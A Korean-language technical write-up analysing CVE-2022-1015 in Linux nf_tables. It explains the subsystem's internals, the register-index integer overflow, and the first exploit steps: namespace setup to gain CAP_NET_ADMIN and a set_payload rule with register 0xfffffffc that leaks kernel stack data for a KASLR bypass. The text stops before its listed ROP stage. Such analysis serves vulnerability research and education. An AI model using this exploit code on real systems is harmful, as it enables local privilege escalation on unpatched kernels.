1. Overview
2. Component of the nf_tables
2-1. Netlink
2-2. table
2-3. chain
2-4. rule / expr
2-4-1. payload
2-4-2. set_payload
2-4-3. cmp
3. How nf_tables works
3-1. nft_regs
3-2. nft_do_chain
4. Vulnerability
5. Exploit
4-1. Preparation
4-2. Leak Kernel Data
4-3. Kernel ROP
4-3-1. __do_softirq Gadget
4-3-2. modprobe_path
6. Finish
해당 글은 Linux v5.12 버전 기준으로 작성되었습니다.
Reference : https://blog.dbouman.nl/2022/04/02/How-The-Tables-Have-Turned-CVE-2022-1015-1016/
nf_tables
는 Linux 커널의 하위 시스템 Netfilter
에서 동작하는 기능입니다. Netfilter
는 Linux OS에서 패킷 필터링과 패킷 처리를 관리하는 핵심 컴포넌트이며, nf_tables
는 이러한 Netfilter
에서 동작하는 규칙 기반 패킷 필터링 시스템입니다.
CVE-2022-1015는 nf_tables
에서 발생한 Stack OOB 취약점입니다. nf_tables
기능을 통해 네트워크 패킷에 대한 read / write를 수행하는 표현식을 추가할 때, read / write에 대한 범위 검증 과정에서 Intager Overflow가 발생하기 때문에 공격자는 취약점을 발생시키는 표현식을 추가하여 커널 Stack의 정보를 패킷 데이터에 쓰거나 패킷 데이터를 커널 스택에 쓸 수 있습니다.
nf_tables
기능에 접근하기 위해서는 CAP_NET_ADMIN
권한이 필요합니다. 따라서 CVE-2022-1015를 트리거하기 위해서는 유저가 namespace
내에 격리되어 있거나, 스스로 namespace
를 생성할 수 권한이 있어야 합니다. 일반적으로 대부분의 배포판 Linux에서는 kconfig의 CONFIG_USER_NS
가 활성화되어 있어서, 일반 유저 권한에서 CVE-2022-1015를 통해 권한 상승 공격을 할 수 있습니다. 취약점 분석을 위해 Linux를 빌드할 경우에는 kconfig의 CONFIG_USER_NS
를 활성화 해야합니다.
위에서 언급했듯, nf_tables
는 규칙 기반 패킷 필터링 시스템입니다. nf_tables
는 table / chain / rule / expr
라는 요소를 추가하여 규칙을 생성합니다. 유저가 네트워크 패킷 필터링 관련 명령어를 입력하면 내부적으로 패킷 필터링 규칙에 대한 table / chain / rule / expr
가 추가됩니다. 또한 유저는 Netlink를 통해 직접 table / chain / rule / expr
에 직접 접근할 수 있습니다.
- expr : 규칙(rule)을 이루는 표현식입니다.
패킷의 포트 데이터를 reg1에 저장한다.
이와 같은 단순한 동작을 정의하며, 이러한 표현식들이 모여 하나의 규칙을 이룹니다.- rule : 다수의 expr를 이용하여 규칙(rule)을 만들 수 있습니다. 이러한 규칙은 chain
- chain : rule과 Hook 데이터로 구성되어 있습니다. Hook 데이터는 어느 시점에서 패킷 필터링을 수행할지를 결정합니다. (예 : 패킷을 전송할 때 or 패킷을 수신할 때) 해당 시점에서
nf_tables
는 chain에 담긴 rule을 통해 expr를 일렬로 실행합니다.- table : chain을 저장하고 있으며, 패킷 필터링이 동작할 네트워크 계층 프로토콜(ipv4, ipv6, arp 등)을 지정합니다.
에를 들어, 5000번 포트 TCP 패킷을 드랍하는 규칙을 적용한다면, nf_tables
의 구조는 아래와 같아집니다.
table <table_name : table1, proto : NFPROTO_IPV4>
-> chain <chain_name : chain1, hook : NF_INET_LOCAL_IN>
-> rule
-> expr : NFT_REG_1 = *(&PKT + NFT_PAYLOAD_NETWORK_HEADER + offsetof(protocol))
-> expr : CMP NFT_REG_1 == IPPROTO_TCP
-> expr : NFT_REG_1 = *(&PKT + NFT_PAYLOAD_NETWORK_HEADER + offsetof(dest))
-> expr : CMP NFT_REG_1 == htons(5000)
-> expr : DROP
expr는 실제로 payload(패킷 데이터 레지스터에 쓰기), set_payload(레지스터를 패킷 데이터에 쓰기), cmp(레지스터 비교) 같은 함수 단위로 이루어져있습니다.
Netlink
는 유저가 커널에 네트워크 정보를 전달하기 위해 사용되는 인터페이스입니다. 즉, 사용자는 Netlink
를 통해 nf_tables
와 상호작용하여 table / chain / rule / expr
와 같은 요소들을 생성하고 추가할 수 있습니다.
위 링크에서 Netlink를 통해 table / chain / rule / expr
를 추가하는 예제 코드를 찾을 수 있습니다.
위와 같이 libmnl 및 libnftnl 라이브러리를 통해 유저레벨에서 Netlink를 이용하는 코드를 만들 수 있습니다. 해당 라이브러리들은 static 컴파일을 지원하지 않기 때문에 라이브러리를 대상 커널로 복사해주어야 합니다.
nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWTABLE, family,
NLM_F_CREATE | NLM_F_ACK, seq++);
nft-table-add.c 코드를 보면 추가할 Table 데이터와 함께 NFT_MSG_NEWTABLE
값으로 Netlink Message
를 만들어 전송합니다. 전송된 Netlink Message
는 커널의 nfnetlink_rcv 함수가 수신합니다. 이후 Netlink Message
는 오류 검증을 위해 해당 Netlink Message
의 동작이 이전에 실행된 적이 없을 경우 nfnetlink_rcv_skb_batch
함수, 이전에 한번 이상 실행된 동작일 경우 netlink_rcv_skb
->nfnetlink_rcv_msg
함수에 의해 처리됩니다.
https://github.com/torvalds/linux/blob/v5.12/net/netfilter/nfnetlink.c#L252
err = nc->call(net, net->nfnl, skb, nlh,
(const struct nlattr **)cda,
extack);
이후 해당 코드를 통해 Netlink Message
에 담긴 동작이 실행됩니다. 이때 nc
변수는 nfnl_callback
구조체이며, 아래와 같이 정의되어있습니다.
https://github.com/torvalds/linux/blob/master/net/netfilter/nf_tables_api.c#L8920
static const struct nfnl_callback nf_tables_cb[NFT_MSG_MAX] = {
[NFT_MSG_NEWTABLE] = {
.call = nf_tables_newtable,
.type = NFNL_CB_BATCH,
.attr_count = NFTA_TABLE_MAX,
.policy = nft_table_policy,
},
[NFT_MSG_GETTABLE] = {
.call = nf_tables_gettable,
.type = NFNL_CB_RCU,
.attr_count = NFTA_TABLE_MAX,
.policy = nft_table_policy,
},
[NFT_MSG_DELTABLE] = {
.call = nf_tables_deltable,
.type = NFNL_CB_BATCH,
.attr_count = NFTA_TABLE_MAX,
.policy = nft_table_policy,
},
...
즉, Netlink Message
에 담긴 NFT_MSG_NEWTABLE
값을 통해 nf_tables_newtable
함수가 호출되어 nf_tables
에 table을 생성하는 작업이 진행됩니다.
static struct nftnl_table *table_add_parse(int argc, char *argv[])
{
struct nftnl_table *t;
uint16_t family;
if (strcmp(argv[1], "ip") == 0)
family = NFPROTO_IPV4;
else if (strcmp(argv[1], "ip6") == 0)
family = NFPROTO_IPV6;
else if (strcmp(argv[1], "inet") == 0)
family = NFPROTO_INET;
else if (strcmp(argv[1], "bridge") == 0)
family = NFPROTO_BRIDGE;
else if (strcmp(argv[1], "arp") == 0)
family = NFPROTO_ARP;
else {
fprintf(stderr, "Unknown family: ip, ip6, inet, bridge, arp\n");
return NULL;
}
t = nftnl_table_alloc();
if (t == NULL) {
perror("OOM");
return NULL;
}
nftnl_table_set_u32(t, NFTNL_TABLE_FAMILY, family);
nftnl_table_set_str(t, NFTNL_TABLE_NAME, argv[2]);
return t;
}
nft-table-add.c 코드를 통해 table에 어떠한 요소가 들어가는지 알 수 있습니다. NFTNL_TABLE_NAME
은 table의 이름을 의미하며, NFTNL_TABLE_FAMILY
는 해당 table에 추가될 chain이 어떤 네트워크 계층 프로토콜의 패킷을 필터링 할지를 결정합니다.
static struct nftnl_chain *chain_add_parse(int argc, char *argv[])
{
struct nftnl_chain *t;
int hooknum = 0;
if (argc == 6) {
/* This is a base chain, set the hook number */
if (strcmp(argv[4], "NF_INET_LOCAL_IN") == 0)
hooknum = NF_INET_LOCAL_IN;
else if (strcmp(argv[4], "NF_INET_LOCAL_OUT") == 0)
hooknum = NF_INET_LOCAL_OUT;
else if (strcmp(argv[4], "NF_INET_PRE_ROUTING") == 0)
hooknum = NF_INET_PRE_ROUTING;
else if (strcmp(argv[4], "NF_INET_POST_ROUTING") == 0)
hooknum = NF_INET_POST_ROUTING;
else if (strcmp(argv[4], "NF_INET_FORWARD") == 0)
hooknum = NF_INET_FORWARD;
else {
fprintf(stderr, "Unknown hook: %s\n", argv[4]);
return NULL;
}
}
t = nftnl_chain_alloc();
if (t == NULL) {
perror("OOM");
return NULL;
}
nftnl_chain_set_str(t, NFTNL_CHAIN_TABLE, argv[2]);
nftnl_chain_set_str(t, NFTNL_CHAIN_NAME, argv[3]);
if (argc == 6) {
nftnl_chain_set_u32(t, NFTNL_CHAIN_HOOKNUM, hooknum);
nftnl_chain_set_u32(t, NFTNL_CHAIN_PRIO, atoi(argv[5]));
}
return t;
}
nft-table-chain.c 코드를 통해 알 수 있는 chain의 요소는 다음과 같습니다. 먼저, NFTNL_CHAIN_TABLE
은 chain이 추가될 table의 이름입니다. NFTNL_CHAIN_NAME
은 해당 chain의 이름이며, NFTNL_CHAIN_HOOKNUM
은 chain이 동작할 Hook의 위치를 의미합니다. 즉, 어느 시점에서 패킷 필터링을 수행할지를 결정하는 값입니다.
IPv4에서 NFTNL_CHAIN_HOOKNUM
의 종류는 아래와 같습니다.
- NF_INET_PRE_ROUTING
- NF_INET_LOCAL_IN
- NF_INET_FORWARD
- NF_INET_LOCAL_OUT
- NF_INET_POST_ROUTING
예를 들어 NFTNL_CHAIN_HOOKNUM
이 NF_INET_LOCAL_IN
일 경우 패킷이 로컬로 수신되었을때, nf_tables
는 해당 chain에 저장된 rule대로 패킷을 필터링합니다.
NFTNL_CHAIN_PRIO
는 chain의 우선도를 결정합니다. 하나의 table에는 여러개의 chain을 추가할 수 있기 때문에, NFTNL_CHAIN_PRIO
를 통해서 어떤 chain이 먼저 동작하게 할지를 정할 수 있습니다.
static struct nftnl_rule *setup_rule(uint8_t family, const char *table,
const char *chain, const char *handle)
{
struct nftnl_rule *r = NULL;
uint8_t proto;
uint16_t dport;
uint64_t handle_num;
r = nftnl_rule_alloc();
if (r == NULL) {
perror("OOM");
exit(EXIT_FAILURE);
}
nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table);
nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain);
nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, family);
if (handle != NULL) {
handle_num = atoll(handle);
nftnl_rule_set_u64(r, NFTNL_RULE_POSITION, handle_num);
}
proto = IPPROTO_TCP;
add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, NFT_REG_1,
offsetof(struct iphdr, protocol), sizeof(uint8_t));
add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &proto, sizeof(uint8_t));
dport = htons(22);
add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, NFT_REG_1,
offsetof(struct tcphdr, dest), sizeof(uint16_t));
add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &dport, sizeof(uint16_t));
add_counter(r);
return r;
}
nft-table-add.c 코드입니다. NFTNL_RULE_TABLE
, NFTNL_RULE_CHAIN
은 각각 해당 rule이 추가 될 table과 chain의 이름입니다.
add_payload
, add_cmp
는 각각 expr를 추가하는 함수입니다. expr는 여러가지가 존재하지만, 여기에서는 기본적인 expr에 대해서만 설명합니다.
static void add_payload(struct nftnl_rule *r, uint32_t base, uint32_t dreg,
uint32_t offset, uint32_t len)
{
struct nftnl_expr *e;
e = nftnl_expr_alloc("payload");
if (e == NULL) {
perror("expr payload oom");
exit(EXIT_FAILURE);
}
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_BASE, base);
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_DREG, dreg);
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_OFFSET, offset);
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_LEN, len);
nftnl_rule_add_expr(r, e);
}
해당 expr는 패킷의 데이터를 레지스터에 복사(write)하는 동작을 합니다. 총 4개의 인자를 가지며, 각 인자를 아래와 같은 의미입니다.
- NFTNL_EXPR_PAYLOAD_BASE : 패킷의 어떤 구조에서 시작할지 결정합니다.
- NFTNL_EXPR_PAYLOAD_DREG : 어떤 레지스터에 데이터를 복사할지 결정합니다.
- NFTNL_EXPR_PAYLOAD_OFFSET : 복사할 데이터의 offset을 결정합니다.
- NFTNL_EXPR_PAYLOAD_LEN : 어느 길이만큼 데이터를 복사할지 결정합니다.
add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, NFT_REG_1,
offsetof(struct iphdr, protocol), sizeof(uint8_t));
위 코드는 NFT_PAYLOAD_NETWORK_HEADER
를 기준으로 offsetof(struct iphdr, protocol)
만큼 떨어진 데이터를 sizeof(uint8_t)
만큼 NFT_REG_1
에 복사하는 표현식을 추가합니다. 즉, 해당 패킷의 protocol 정보를 NFT_REG_1
에 저장하는 기록하는 동작을 합니다.
payload 표현식이 패킷의 데이터를 NFT 레지스터에 복사하는 역할을 한다면, set_payload 표현식은 반대로 NFT 레지스터의 데이터를 패킷에 복사합니다.
payload 표현식을 추가하는 코드에서 NFTNL_EXPR_PAYLOAD_DREG
를 NFTNL_EXPR_PAYLOAD_SREG
로 바꾸어주면 set_payload 표현식을 추가할 수 있습니다.
static void add_cmp(struct nftnl_rule *r, uint32_t sreg, uint32_t op,
const void *data, uint32_t data_len)
{
struct nftnl_expr *e;
e = nftnl_expr_alloc("cmp");
if (e == NULL) {
perror("expr cmp oom");
exit(EXIT_FAILURE);
}
nftnl_expr_set_u32(e, `NFTNL_EXPR_CMP_SREG` , sreg);
nftnl_expr_set_u32(e, NFTNL_EXPR_CMP_OP, op);
nftnl_expr_set(e, NFTNL_EXPR_CMP_DATA, data, data_len);
nftnl_rule_add_expr(r, e);
}
cmp는 레지스터 값을 비교하는 표현식입니다. NFTNL_EXPR_CMP_SREG
를 비교대상 레지스터를, NFTNL_EXPR_CMP_OP
비교 연산의 종류를, NFTNL_EXPR_CMP_DATA
는 비교할 값과 그 값의 길이를 정합니다.
비교 연산의 종류는 여러가지가 있지만 대표적으로 아래와 같습니다.
- NFT_CMP_EQ : 두 비교 대상이 같을 경우
- NFT_CMP_NEQ : 두 비교 대상이 다를 경우
CMP의 비교 연산을 만족할 경우 그 다음 expr가 실행되며, 만족하지 않을 경우 해당 chain에 다음 expr를 모두 건너뜁니다.
proto = IPPROTO_TCP;
add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &proto, sizeof(uint8_t));
위 코드는 NFT_REG_1 레지스터를 IPPROTO_TCP 값과 같은지(NFT_CMP_EQ) 비교합니다.
proto = IPPROTO_TCP;
add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, NFT_REG_1,
offsetof(struct iphdr, protocol), sizeof(uint8_t));
add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &proto, sizeof(uint8_t));
dport = htons(22);
add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, NFT_REG_1,
offsetof(struct tcphdr, dest), sizeof(uint16_t));
add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &dport, sizeof(uint16_t));
add_counter(r);
expr들을 이해했다면, 위에 nft-rule-add.c 코드가 어떤 rule을 추가하는지 알 수 있습니다.
NFT_PAYLOAD_NETWORK_HEADER
를 기준으로 offsetof(struct iphdr, protocol)
오프셋 만큼 떨어진 곳에 패킷 데이터를 NFT_REG_1
에 1바이트 복사합니다. (프로토콜 정보를 NFT_REG_1
에 저장)
NFT_REG_1
의 값이 IPPROTO_TCP
인지 비교합니다. (TCP 패킷인지 체크)
NFT_PAYLOAD_NETWORK_HEADER
를 기준으로 offsetof(struct tcphdr, dest)
오프셋 만큼 떨어진 곳에 패킷 데이터를 NFT_REG_1
에 2바이트 복사힙니다. (port 정보를 NFT_REG_1에 저장)
NFT_REG_1
의 값이 htons(22)
인지 비교합니다. (패킷의 포트가 22번 인지 비교)
counter expr를 이용해서 counter를 올립니다.
즉, 22번 포트의 TCP 패킷을 감지하여 counter를 올리는 규칙입니다. counter 표현식은 익스플로잇에 필요없기 때문에 여기에서 설명하지는 않겠습니다.
table / chain / rule / expr
를 통해 정의된 패킷 필터링 규칙은 nft_regs
구조체와 nft_do_chain
함수에 의해 처리됩니다. nft_do_chain
함수는 각 chain을 가져와 rule에 담긴 일렬의 expr들을 차례대로 실행하며, expr는 정해진대로 nft_regs
에 값을 쓰거나 비교합니다.
위에서 expr를 분석하면 알 수 있듯이, nf_tables
는 패킷을 처리하는 과정에서 여러 레지스터를 이용합니다.
https://github.com/torvalds/linux/blob/master/include/net/netfilter/nf_tables.h#L119
enum nft_registers {
NFT_REG_VERDICT,
NFT_REG_1,
NFT_REG_2,
NFT_REG_3,
NFT_REG_4,
__NFT_REG_MAX,
NFT_REG32_00 = 8,
NFT_REG32_01,
...
NFT_REG32_15,
};
struct nft_verdict {
u32 code;
struct nft_chain *chain;
};
struct nft_regs {
union {
u32 data[20];
struct nft_verdict verdict;
};
};
nft_regs
는 4바이트의 NFT_REG32_0 ~ NFT_REG32_15
와 NFT_REG_VERDICT
로 이루어져있습니다. 이때 정의된 nft_registers
열거를 보면 NFT_REG32_0 ~ NFT_REG32_15
이외에도 NFT_REG_1 ~ NFT_REG_4
가 있는 것을 알 수 있습니다. 이들은 16바이트 레지스터로, NFT_REG_1
은 NFT_REG32_0 ~ NFT_REG32_3
, NFT_REG_2
는 NFT_REG32_4 ~ NFT_REG32_7
과 대응됩니다.
NFT_REG_VERDICT
는 판정 레지스터로, 예를 들어 cmp expr에서 비교 연산 결과가 False라면 nft_verdict->code
변수에 NFT_BREAK
값을 대입합니다. 그러면 이후 nft_do_chain
함수에서 nft_verdict->code
값을 체크하여 NFT_BREAK
일 경우 break를 실행하여 다음 expr를 건너뜁니다. 이외에도 chain의 흐름을 조작할 수 있는 특정 expr에서 nft_verdict->code
변수에 NFT_GOTO
를 대입하고, nft_verdict->chain
에 점프할 chain을 대입하면, nft_do_chain
는 nft_verdict->chain
에 저장된 chain으로 점프하게 됩니다. 이렇듯 NFT_REG_VERDICT
는 chain의 흐름을 조작하는 레지스터입니다.
https://github.com/torvalds/linux/blob/v5.12/net/netfilter/nf_tables_core.c#L158
nft_do_chain(struct nft_pktinfo *pkt, void *priv)
{
const struct nft_chain *chain = priv, *basechain = chain;
const struct net *net = nft_net(pkt);
struct nft_rule *const *rules;
const struct nft_rule *rule;
const struct nft_expr *expr, *last;
struct nft_regs regs;
unsigned int stackptr = 0;
struct nft_jumpstack jumpstack[NFT_JUMP_STACK_SIZE];
bool genbit = READ_ONCE(net->nft.gencursor);
struct nft_traceinfo info;
...
rule = *rules;
regs.verdict.code = NFT_CONTINUE;
for (; *rules ; rules++) {
rule = *rules;
nft_rule_for_each_expr(expr, last, rule) {
if (expr->ops == &nft_cmp_fast_ops)
nft_cmp_fast_eval(expr, ®s);
else if (expr->ops == &nft_bitwise_fast_ops)
nft_bitwise_fast_eval(expr, ®s);
else if (expr->ops != &nft_payload_fast_ops ||
!nft_payload_fast_eval(expr, ®s, pkt))
expr_call_ops_eval(expr, ®s, pkt);
if (regs.verdict.code != NFT_CONTINUE)
break;
}
switch (regs.verdict.code) {
case NFT_BREAK:
regs.verdict.code = NFT_CONTINUE;
continue;
case NFT_CONTINUE:
nft_trace_packet(&info, chain, rule,
NFT_TRACETYPE_RULE);
continue;
}
break;
}
switch (regs.verdict.code & NF_VERDICT_MASK) {
case NF_ACCEPT:
case NF_DROP:
case NF_QUEUE:
case NF_STOLEN:
nft_trace_packet(&info, chain, rule,
NFT_TRACETYPE_RULE);
return regs.verdict.code;
}
switch (regs.verdict.code) {
case NFT_JUMP:
if (WARN_ON_ONCE(stackptr >= NFT_JUMP_STACK_SIZE))
return NF_DROP;
jumpstack[stackptr].chain = chain;
jumpstack[stackptr].rules = rules + 1;
stackptr++;
fallthrough;
case NFT_GOTO:
nft_trace_packet(&info, chain, rule,
NFT_TRACETYPE_RULE);
chain = regs.verdict.chain;
goto do_chain;
case NFT_CONTINUE:
case NFT_RETURN:
nft_trace_packet(&info, chain, rule,
NFT_TRACETYPE_RETURN);
break;
default:
WARN_ON(1);
}
...
}
chain을 추가할때 설정한 NFTNL_CHAIN_HOOKNUM
에 의하여 특정 시점에 후킹 함수가 실행되면, 최종적으로 nft_do_chain
함수에 도달하여 해당 chain의 expr를 차례대로 수행합니다. nft_do_chain
의 코드를 보면 알 수 있듯이, chain에서 rule 데이터를 가져오고 해당 rule에 추가되어 있는 expr들을 차례대로 순회하며 expr_call_ops_eval
함수를 실행합니다. 이후 판정 레지스터(NFT_REG_VERDICT
)를 체크하며 흐름을 제어합니다.
https://github.com/torvalds/linux/blob/v5.12/net/netfilter/nf_tables_core.c#L132
static void expr_call_ops_eval(const struct nft_expr *expr,
struct nft_regs *regs,
struct nft_pktinfo *pkt)
{
#ifdef CONFIG_RETPOLINE
unsigned long e = (unsigned long)expr->ops->eval;
#define X(e, fun) \
do { if ((e) == (unsigned long)(fun)) \
return fun(expr, regs, pkt); } while (0)
X(e, nft_payload_eval);
X(e, nft_cmp_eval);
X(e, nft_meta_get_eval);
X(e, nft_lookup_eval);
X(e, nft_range_eval);
X(e, nft_immediate_eval);
X(e, nft_byteorder_eval);
X(e, nft_dynset_eval);
X(e, nft_rt_get_eval);
X(e, nft_bitwise_eval);
#undef X
#endif /* CONFIG_RETPOLINE */
expr->ops->eval(expr, regs, pkt);
}
expr_call_ops_eval
함수는 실제 expr의 동작을 수행하는 함수를 호출하는 역할을 합니다. 인자로 주어진 expr가 cmp라면 nft_cmp_eval
함수를, payload라면, nft_payload_eval
함수를 호출합니다. 따라서 특정 expr의 동작을 디버깅하고 싶다면 expr_call_ops_eval
에서 실제 동작을 수행하는 함수가 어떤 함수인지를 찾은 다음 그곳에 Breakpoint를 걸면 됩니다.
https://github.com/torvalds/linux/blob/v5.12/net/netfilter/nf_tables_api.c#L8725
int nft_parse_register_load(const struct nlattr *attr, u8 *sreg, u32 len)
{
u32 reg;
int err;
reg = nft_parse_register(attr);
err = nft_validate_register_load(reg, len);
if (err < 0)
return err;
*sreg = reg;
return 0;
}
...
int nft_parse_register_store(const struct nft_ctx *ctx,
const struct nlattr *attr, u8 *dreg,
const struct nft_data *data,
enum nft_data_types type, unsigned int len)
{
int err;
u32 reg;
reg = nft_parse_register(attr);
err = nft_validate_register_store(ctx, reg, data, type, len);
if (err < 0)
return err;
*dreg = reg;
return 0;
}
nft_parse_register_load
및 nft_parse_register_store
는 각각 dreg, sreg를 파싱하는 역할을 합니다. 예를 들어, 사용자가 add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, NFT_REG_1, 0, 1);
이와 같은 expr가 포함된 rule 추가 요청 Netlink Message
를 보내면, 커널은 nft_parse_register_load
함수를 통해 NFT_REG_1
값이 정상적인 레지스터 값인지 검사합니다.
https://github.com/torvalds/linux/blob/v5.12/net/netfilter/nf_tables_api.c#L8669
static unsigned int nft_parse_register(const struct nlattr *attr)
{
unsigned int reg;
reg = ntohl(nla_get_be32(attr));
switch (reg) {
case NFT_REG_VERDICT...NFT_REG_4:
return reg * NFT_REG_SIZE / NFT_REG32_SIZE;
default:
return reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00;
}
}
nft_parse_register
함수는 주어진 Netlink Message
구조체에 포함된 레지스터 정보를 통해 실제 레지스터 위치를 반환합니다. 예를 들어 NFT_REG_1
값의 경우 nft_registers 열거형에서 1
로 정의되어 있으므로 1 * 16(NFT_REG_SIZE) / 4(NFT_REG32_SIZE) = 4
가 반환됩니다. 반환된 4는 4 bytes * 4 = 16 bytes
를 의미하며, 0 ~ 16 bytes는 판정 레지스터(NFT_REG_VERDICT
)이기 때문에 4가 반환됩니다. 마찬가지로 NFT_REG_2
는 8이 반환되어 32 bytes를 의미합니다. NFT_REG_1 ~ NFT_REG_4
는 16바이트 레지스터이기 때문에 case 문에 의하여 4배수의 값이 반환됩니다.
NFT_REG32_00
의 경우 nft_registers 열거형에서 8로 정의되어 있으며, default 문에 의하여 8 + 16 / 4 - 8 = 4
가 반환됩니다. NFT_REG32_01 ~ NFT_REG32_15
역시 5 ~ 19
가 반환됩니다.
3-1. nft_regs
파트에서 언급되었듯, nft_regs는 16바이트 레지스터와 4바이트 레지스터를 혼용해서 사용하기 때문에 위와 같은 동작을 하게되는 것입니다.
하지만 위 코드에서는 이상한 점을 찾을 수 있습니다. NFT_REG32_00 ~ NFT_REG32_15
값을 case로 처리하지 않고 default로 처리합니다. 즉, NFT_REG32_00 ~ NFT_REG32_15
외에 값에 대한 결과가 반환되는 것을 방지하지 않고 있습니다. 이는 이후 nft_validate_register_load
함수에서 문제를 발생시키게 됩니다.
https://github.com/torvalds/linux/blob/v5.12/net/netfilter/nf_tables_api.c#L8713
static int nft_validate_register_load(enum nft_registers reg, unsigned int len)
{
if (reg < NFT_REG_1 * NFT_REG_SIZE / NFT_REG32_SIZE)
return -EINVAL;
if (len == 0)
return -EINVAL;
if (reg * NFT_REG32_SIZE + len > sizeof_field(struct nft_regs, data))
return -ERANGE;
return 0;
}
nft_validate_register_load
는 인자로 주어진 실제 레지스터 위치가 판정 레지스터(NFT_REG_VERDICT
)를 침범하거나 레지스터 범위(sizeof_field(struct nft_regs, data)
)를 벗어나고 있는지 검사합니다.
여기서, nft_parse_register
함수가 NFT_REG_1 ~ NFT_REG_4
및 NFT_REG32_00 ~ NFT_REG32_15
외에 값이 처리되는 것을 방지하고 있지 않기 때문에 reg는 0xfffffffc
같은 매우 큰 값이 들어갈 수 있게 됩니다. 결과적으로 reg * NFT_REG32_SIZE + len
연산에서 정수 오버플로우(Intager Overflow)가 발생해 값이 0이 될 수 있고, 레지스터 범위 검증을 우회할 수 있습니다.
레지스터 범위 검증을 우회한다면, payload 또는 set_payload를 통해 nft_regs
구조체 범위를 벗어난 메모리 복사를 할 수 있습니다. 특히 nft_regs
구조체 변수는 nft_do_chain
함수의 지역 변수이기 때문에 해당 취약점은 Stack에 대한 OOB를 발생시킵니다.
공격자는 해당 취약점을 이용해 Stack OOB를 일으키는 expr가 담긴 chain을 생성하고, 임의의 패킷을 보내서 Stack의 데이터를 패킷에 복사하거나 패킷의 데이터를 Stack에 복사할 수 있습니다.
따라서, 127.0.0.1
루프백 아이피로 패킷을 전송하고 수신하여, Stack의 데이터를 읽거나 ROP 페이로드가 담긴 패킷을 전송해 커널 단에서 임의의 코드를 실행할 수 있습니다.
void init_cpu(void){
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(0, &set);
if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) {
perror("[-] sched_setaffinity");
exit(EXIT_FAILURE);
}
}
void init_namespace(void) {
uid_t uid = getuid();
gid_t gid = getgid();
if (unshare(CLONE_NEWUSER) < 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) < 0) {
perror("[-] unshare(CLONE_NEWNET)");
exit(EXIT_FAILURE);
}
write_to_file("/proc/self/uid_map", "0 %d 1", uid);
write_to_file("/proc/self/setgroups", "deny");
write_to_file("/proc/self/gid_map", "0 %d 1", gid);
}
int main(int argc, char *argv[])
{
init_cpu();
init_namespace();
system("ip addr add 127.0.0.1/8 dev lo");
system("ip link set lo up");
}
권한 상승 코드를 작성하기에 앞서, 유저 단에서 nf_tables
를 안정적으로 이용하기 위해 다음과 같은 코드가 필요합니다. 먼저, init_cpu
는 Exploit 코드의 프로세스를 하나의 CPU 코어에 바인딩하여 Exploit을 안정적으로 만드는 역할을 합니다. init_namespace
함수는 Exploit 코드의 프로세스를 네트워크 namespace
에 격리합니다. 이전에 언급했듯, nf_tables
의 기능을 이용하기 위해서는 CAP_NET_ADMIN
권한이 필요합니다. 프로세스를 네트워크 namespace
의 격리함으로써 해당 프로세스는 root 권한이 아님에도 CAP_NET_ADMIN
권한을 가질 수 있습니다. ip addr add 127.0.0.1/8 dev lo
및 ip link set lo up
는 격리된 네트워크 namespace
에서 127.0.0.1
루프백 아이피를 활성화하는 역할을 합니다.
proto = IPPROTO_UDP;
add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, NFT_REG_1,
offsetof(struct iphdr, protocol), sizeof(uint8_t));
add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &proto, sizeof(uint8_t));
dport = htons(1234);
add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, NFT_REG_1,
offsetof(struct tcphdr, dest), sizeof(uint16_t));
add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &dport, sizeof(uint16_t));
add_set_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, 0xfffffffc, 0x20, 0x30);
Linux 커널은 유저 바이너리와 마찬가지로 KASLR 보호기법을 통해 메모리 영역이 랜덤화되어 있습니다. 따라서 커널 ROP 공격을 하기위해서는 먼저 커널 데이터를 유출하여 베이스 주소를 구해야합니다. 데이터 유출은 set_payload expr를 통해 할 수 있습니다. set_payload는 레지스터의 값을 패킷으로 복사하는 동작을 하는 표현식입니다. CVE-2022-1015 취약점으로 인해 공격자는 0xfffffffc
레지스터 번호가 담긴 set_payload 표현식을 추가하여 nft_regs
의 범위를 벗어난 메모리의 값을 패킷에 복사할 수 있습니다.
따라서 위 코드로 set_paylaod 표현식을 추가하고 127.0.0.1:1234
로 더미 데이터가 포함된 UDP 패킷을 보내면, nf_tables
의 패킷 필터링이 동작하면서 nft_regs
의 범위를 벗어난 메모리의 값이 UDP 패킷 더미 데이터를 덮어쓰게 됩니다. 공격자는 해당 UDP 패킷을 수신하고 더미 데이터 영역을 읽어 커널 데이터를 가져올 수 있습니다.
해당 rule을 적용시키고, nft_payload_set_eval->skb_store_bits->memcpy(skb_copy_to_linear_data_offset)
에 Breakpoint를 걸어 디버깅을 해보면 범위를 벗어난 Stack 데이터를 UDP 패킷에 담긴 더미데이터 "a"*512
부분에 복사하고 있는 것을 확인할 수 있습니다. 패킷을 루프백 아이피로 보냈으므로, 이를 다시 수신하여 더미데이터에서 유출된 Stack 데이터에서 커널 코드 영역 주소를 읽으면 커널의 베이스 주소를 성공적으로 구할 수 있습니다.
proto = IPPROTO_UDP;
